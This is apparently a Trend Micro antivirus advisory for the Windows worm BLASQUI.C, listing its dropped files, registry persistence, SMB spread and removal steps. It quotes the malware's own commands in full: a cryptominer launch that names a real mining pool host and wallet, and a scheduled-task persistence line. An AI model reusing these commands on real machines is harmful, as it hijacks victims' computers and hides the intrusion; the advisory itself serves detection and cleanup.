Analysis by: Mariefher Grace Villanueva
ALIASES:

Trojan:Win32/Vindor!pz (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Worm

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 9,402,368 bytes
File Type: EXE
Memory Resident: No
Initial Samples Received Date: 08 Jan 2026

Arrival Details

This Worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Worm drops the following file(s)/component(s):

  • %ProgramData%\spreadVhijkl.exe → deleted afterwards
  • %ProgramData%\spread.txt → copy of itself
  • %ProgramData%\SMB.exe → deleted afterwards
  • %ProgramData%\__tmp_rar_sfx_access_check_4110127 → deleted afterwards
  • %ProgramData%\adfw.dll
  • %ProgramData%\adfw-2.dll
  • %ProgramData%\cnli-0.dll
  • %ProgramData%\cnli-1.dll
  • %ProgramData%\coli-0.dll
  • %ProgramData%\crli-0.dll
  • %ProgramData%\dmgd-1.dll
  • %ProgramData%\dmgd-4.dll
  • %ProgramData%\esco-0.dll
  • %ProgramData%\etch-0.dll
  • %ProgramData%\etchCore-0.x64.dll
  • %ProgramData%\etchCore-0.x86.dll
  • %ProgramData%\eteb-2.dll
  • %ProgramData%\etebCore-2.x64.dll
  • %ProgramData%\etebCore-2.x86.dll
  • %ProgramData%\exma.dll
  • %ProgramData%\exma-1.dll
  • %ProgramData%\iconv.dll
  • %ProgramData%\libcurl.dll
  • %ProgramData%\libeay32.dll
  • %ProgramData%\libiconv-2.dll
  • %ProgramData%\libxml2.dll
  • %ProgramData%\pcla-0.dll
  • %ProgramData%\pcre-0.dll
  • %ProgramData%\pcrecpp-0.dll
  • %ProgramData%\pcreposix-0.dll
  • %ProgramData%\posh.dll
  • %ProgramData%\posh-0.dll
  • %ProgramData%\riar.dll
  • %ProgramData%\riar-2.dll
  • %ProgramData%\serverlong.exe
  • %ProgramData%\serverlong.fb
  • %ProgramData%\serverlong.xml
  • %ProgramData%\Shellcode.ini
  • %ProgramData%\ssleay32.dll
  • %ProgramData%\svchostlong.exe
  • %ProgramData%\svchostlong.fb
  • %ProgramData%\svchostlong.xml
  • %ProgramData%\svchostromance.exe
  • %ProgramData%\svchostromance.xml
  • %ProgramData%\tibe.dll
  • %ProgramData%\tibe-1.dll
  • %ProgramData%\tibe-2.dll
  • %ProgramData%\trch.dll
  • %ProgramData%\trch-0.dll
  • %ProgramData%\trch-1.dll
  • %ProgramData%\trfo.dll
  • %ProgramData%\trfo-0.dll
  • %ProgramData%\trfo-2.dll
  • %ProgramData%\tucl.dll
  • %ProgramData%\tucl-1.dll
  • %ProgramData%\ucl.dll
  • %ProgramData%\X64.dll
  • %ProgramData%\X86.dll
  • %ProgramData%\xdvl-0.dll
  • %ProgramData%\zibe.dll
  • %ProgramData%\zlib1.dll
  • %ProgramData%\__tmp_rar_sfx_access_check_4116273 → deleted afterwards
  • \\{remote IP address}\ADMIN$\spread.txt → copy of itself → deleted afterwards

(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

It adds the following processes:

  • cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr {malware directory}\{malware filename} /F
  • schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr {malware directory}\{malware filename} /F
  • cmd /c taskkill /f /im spreadVhijkl.exe&&exit
  • taskkill /f /im spreadVhijkl.exe
  • cmd /c ipconfig /flush
  • ipconfig /flush
  • %ProgramData%\spreadVhijkl.exe -o stratum+tcp://auto.c3pool.org:443 -u 4AAjsvwrMQxBJpExraeoqdKrV8bwz2kkJG7P4axGTSip46CjmCrvSa8dztbNC4n6XuLr8wiXYgxS9c979hpdmi6s3LCNNja -p X -a cn/r --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
  • %ProgramData%\SMB.exe

(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

Autostart Technique

This Worm adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
QQMusic = {malware directory}\{malware filename}

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion
QQMusic = {malware directory}\{malware filename}

Other System Modifications

This Worm modifies the following registry entries:

HKEY_CURRENT_USER\Network\K
RemotePath = \{remote IP address}\ADMIN$

HKEY_CURRENT_USER\Network\K
UserName = {default}

HKEY_CURRENT_USER\Network\K
ProviderName = Microsoft Windows Network

HKEY_CURRENT_USER\Network\K
ProviderType = 131072

HKEY_CURRENT_USER\Network\K
ConnectionType = 0

HKEY_CURRENT_USER\Network\K
DeferFlags = 4

Other Details

This Worm adds the following registry keys:

HKEY_CURRENT_USER\Network\K

It adds the following scheduled tasks:

  • Task name: QQMusic
    Task to be run: {malware directory}\{malware filename}

Mobile Malware Routine

This Worm accesses the following possibly malicious URL(s):

  • {BLOCKED}.{BLOCKED}.255.1 to 2
  • {BLOCKED}.{BLOCKED}.255.4
  • {BLOCKED}.{BLOCKED}.255.6 to 8
  • {BLOCKED}.{BLOCKED}.255.10
  • {BLOCKED}.{BLOCKED}.255.12 to 14
  • {BLOCKED}.{BLOCKED}.255.16
  • {BLOCKED}.{BLOCKED}.255.18 to 20
  • {BLOCKED}.{BLOCKED}.255.22
  • {BLOCKED}.{BLOCKED}.255.24
  • {BLOCKED}.{BLOCKED}.255.26 to 28
  • {BLOCKED}.{BLOCKED}.255.30
  • {BLOCKED}.{BLOCKED}.255.32
  • {BLOCKED}.{BLOCKED}.255.34
  • {BLOCKED}.{BLOCKED}.255.36
  • {BLOCKED}.{BLOCKED}.255.38
  • {BLOCKED}.{BLOCKED}.255.40
  • {BLOCKED}.{BLOCKED}.255.42
  • {BLOCKED}.{BLOCKED}.255.44
  • {BLOCKED}.{BLOCKED}.255.46
  • {BLOCKED}.{BLOCKED}.255.48
  • {BLOCKED}.{BLOCKED}.255.50
  • {BLOCKED}.{BLOCKED}.255.52
  • {BLOCKED}.{BLOCKED}.255.54
  • {BLOCKED}.{BLOCKED}.255.56
  • {BLOCKED}.{BLOCKED}.255.58
  • {BLOCKED}.{BLOCKED}.255.60
  • {BLOCKED}.{BLOCKED}.255.62
  • {BLOCKED}.{BLOCKED}.255.64
  • {BLOCKED}.{BLOCKED}.255.66
  • {BLOCKED}.{BLOCKED}.255.68
  • {BLOCKED}.{BLOCKED}.255.70
  • {BLOCKED}.{BLOCKED}.255.72
  • {BLOCKED}.{BLOCKED}.255.74
  • {BLOCKED}.{BLOCKED}.255.76
  • {BLOCKED}.{BLOCKED}.255.78
  • {BLOCKED}.{BLOCKED}.255.80
  • {BLOCKED}.{BLOCKED}.255.82
  • {BLOCKED}.{BLOCKED}.255.84
  • {BLOCKED}.{BLOCKED}.255.86
  • {BLOCKED}.{BLOCKED}.255.88
  • {BLOCKED}.{BLOCKED}.255.90
  • {BLOCKED}.{BLOCKED}.255.92
  • {BLOCKED}.{BLOCKED}.255.94
  • {BLOCKED}.{BLOCKED}.255.96
  • {BLOCKED}.{BLOCKED}.255.98
  • {BLOCKED}.{BLOCKED}.255.100
  • {BLOCKED}.{BLOCKED}.255.102
  • {BLOCKED}.{BLOCKED}.255.104 to 108
  • {BLOCKED}.{BLOCKED}.255.110
  • {BLOCKED}.{BLOCKED}.255.112
  • {BLOCKED}.{BLOCKED}.255.114 to 120
  • {BLOCKED}.{BLOCKED}.255.124 to 126
  • {BLOCKED}.{BLOCKED}.255.130
  • {BLOCKED}.{BLOCKED}.255.132
  • {BLOCKED}.{BLOCKED}.255.134
  • {BLOCKED}.{BLOCKED}.255.136 to 137
  • {BLOCKED}.{BLOCKED}.255.146
  • {BLOCKED}.{BLOCKED}.255.149 to 150
  • {BLOCKED}.{BLOCKED}.255.152 to 213
  • {BLOCKED}.{BLOCKED}.255.222 to 223
  • {BLOCKED}.{BLOCKED}.255.227 to 254
  • auto.{BLOCKED}.org:443
  • {BLOCKED}.shop

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 20.692.04
FIRST VSAPI PATTERN DATE: 08 Jan 2026
VSAPI OPR PATTERN File: 20.693.00
VSAPI OPR PATTERN Date: 08 Jan 2026

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

    Troj.Win32.TRX.XXPE50FFF100

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Network\K
    • RemotePath = \{remote IP address}\ADMIN$
  • In HKEY_CURRENT_USER\Network\K
    • UserName = {default}
  • In HKEY_CURRENT_USER\Network\K
    • ProviderName = Microsoft Windows Network
  • In HKEY_CURRENT_USER\Network\K
    • ProviderType = 131072
  • In HKEY_CURRENT_USER\Network\K
    • ConnectionType = 0
  • In HKEY_CURRENT_USER\Network\K
    • DeferFlags = 4

Step 6

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Network\K

Step 7

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %ProgramData%\spread.txt
  • %ProgramData%\adfw.dll
  • %ProgramData%\adfw-2.dll
  • %ProgramData%\cnli-0.dll
  • %ProgramData%\cnli-1.dll
  • %ProgramData%\coli-0.dll
  • %ProgramData%\crli-0.dll
  • %ProgramData%\dmgd-1.dll
  • %ProgramData%\dmgd-4.dll
  • %ProgramData%\esco-0.dll
  • %ProgramData%\etch-0.dll
  • %ProgramData%\etchCore-0.x64.dll
  • %ProgramData%\etchCore-0.x86.dll
  • %ProgramData%\eteb-2.dll
  • %ProgramData%\etebCore-2.x64.dll
  • %ProgramData%\etebCore-2.x86.dll
  • %ProgramData%\exma.dll
  • %ProgramData%\exma-1.dll
  • %ProgramData%\iconv.dll
  • %ProgramData%\libcurl.dll
  • %ProgramData%\libeay32.dll
  • %ProgramData%\libiconv-2.dll
  • %ProgramData%\libxml2.dll
  • %ProgramData%\pcla-0.dll
  • %ProgramData%\pcre-0.dll
  • %ProgramData%\pcrecpp-0.dll
  • %ProgramData%\pcreposix-0.dll
  • %ProgramData%\posh.dll
  • %ProgramData%\posh-0.dll
  • %ProgramData%\riar.dll
  • %ProgramData%\riar-2.dll
  • %ProgramData%\serverlong.exe
  • %ProgramData%\serverlong.fb
  • %ProgramData%\serverlong.xml
  • %ProgramData%\Shellcode.ini
  • %ProgramData%\ssleay32.dll
  • %ProgramData%\svchostlong.exe
  • %ProgramData%\svchostlong.fb
  • %ProgramData%\svchostlong.xml
  • %ProgramData%\svchostromance.exe
  • %ProgramData%\svchostromance.xml
  • %ProgramData%\tibe.dll
  • %ProgramData%\tibe-1.dll
  • %ProgramData%\tibe-2.dll
  • %ProgramData%\trch.dll
  • %ProgramData%\trch-0.dll
  • %ProgramData%\trch-1.dll
  • %ProgramData%\trfo.dll
  • %ProgramData%\trfo-0.dll
  • %ProgramData%\trfo-2.dll
  • %ProgramData%\tucl.dll
  • %ProgramData%\tucl-1.dll
  • %ProgramData%\ucl.dll
  • %ProgramData%\X64.dll
  • %ProgramData%\X86.dll
  • %ProgramData%\xdvl-0.dll
  • %ProgramData%\zibe.dll
  • %ProgramData%\zlib1.dll

Step 8

Scan your computer with your Trend Micro product to delete files detected as Worm.Win32.BLASQUI.C. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 9

Trend Micro Mobile Security Solution

Trend Micro Mobile Security Personal Edition protects Android and iOS smartphones and tablets from malicious and Trojanized applications. It blocks access to malicious websites, increase device performance, and protects your mobile data. You may download the Trend Micro Mobile Security apps from the following sites:


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